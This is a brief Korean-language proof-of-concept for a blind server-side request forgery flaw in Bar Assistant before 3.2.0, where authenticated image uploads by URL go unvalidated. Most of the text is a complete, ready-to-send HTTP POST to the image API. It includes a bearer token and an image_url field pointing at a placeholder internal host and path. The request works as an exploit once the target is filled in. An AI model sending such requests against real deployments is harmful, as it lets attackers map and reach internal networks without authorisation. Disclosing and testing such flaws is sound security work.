
블라인드 서버사이드 요청 위조(SSRF) 취약점에 대한 개념 증명 익스플로잇으로, Bar Assistant < 3.2.0에서 검증되지 않은 이미지 URL 업로드를 통해 인증된 공격자가 내부 네트워크를 탐색할 수 있게 합니다.
Blind SSRF
Bar assistant < 3.2.0
인증된 사용자가 URL을 통해 이미지를 애플리케이션에 업로드합니다.
애플리케이션이 Image::make()를 통해 요청을 보내기 전에 매개변수를 검증하지 않아, 공격자가 Server-side Request Forgery 공격을 수행할 수 있습니다.
POST /bar/api/images HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------8290129562507108753887567115
Content-Length: 459
Referer: http://localhost:3000/cocktails/form
Origin: http://localhost:3000
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
authorization: Bearer 1|A3dV5SfOEqxNOY8UQmz2wDqA6ssdtBGHoVyjCFTR186abc29
Connection: close
-----------------------------8290129562507108753887567115
Content-Disposition: form-data; name="images[0][image_url]"
http://<target>/<path>
-----------------------------8290129562507108753887567115
Content-Disposition: form-data; name="images[0][copyright]"
-----------------------------8290129562507108753887567115
Content-Disposition: form-data; name="images[0][sort]"
1
-----------------------------8290129562507108753887567115--